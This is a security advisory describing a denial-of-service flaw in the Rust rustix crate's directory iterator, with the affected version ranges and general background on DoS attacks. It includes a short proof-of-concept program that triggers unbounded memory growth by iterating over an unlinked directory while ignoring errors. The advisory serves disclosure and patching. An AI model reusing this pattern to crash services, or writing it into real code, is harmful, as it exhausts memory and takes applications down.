Denial of Service (DoS) Affecting rustix package, versions >=0.35.11 <0.35.15>=0.36.0 <0.36.16>=0.37.0 <0.37.25>=0.38.0 <0.38.19

Affected versions of this package are vulnerable to Denial of Service (DoS) in the rustix::fs::Dir iterator with the linux_raw backend. An attacker can cause a rapid and unbounded memory explosion, leading to an Out of Memory (OOM) crash of the application, by triggering an IO error. This is only exploitable if the implementation does not break after seeing an error.

fn main() -> Result<(), Box<dyn std::error::Error>> {
    // create a directory, get a FD to it, then unlink the directory but keep the FD
    std::fs::create_dir("tmp_dir")?;
    let dir_fd = rustix::fs::openat(
        rustix::fs::CWD,
        rustix::cstr!("tmp_dir"),
        rustix::fs::OFlags::RDONLY | rustix::fs::OFlags::CLOEXEC,
        rustix::fs::Mode::empty(),
    )?;
    std::fs::remove_dir("tmp_dir")?;

    // iterator gets stuck in infinite loop and memory explodes
    rustix::fs::Dir::read_from(dir_fd)?
        // the iterator keeps returning `Some(Err(_))`, but never halts by returning `None`
        // therefore if the implementation ignores the error (or otherwise continues
        // after seeing the error instead of breaking), the loop will not halt
        .filter_map(|dirent_maybe_error| dirent_maybe_error.ok())
        .for_each(|dirent| {
            // your happy path
            println!("{dirent:?}");
        });

    Ok(())
}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Issue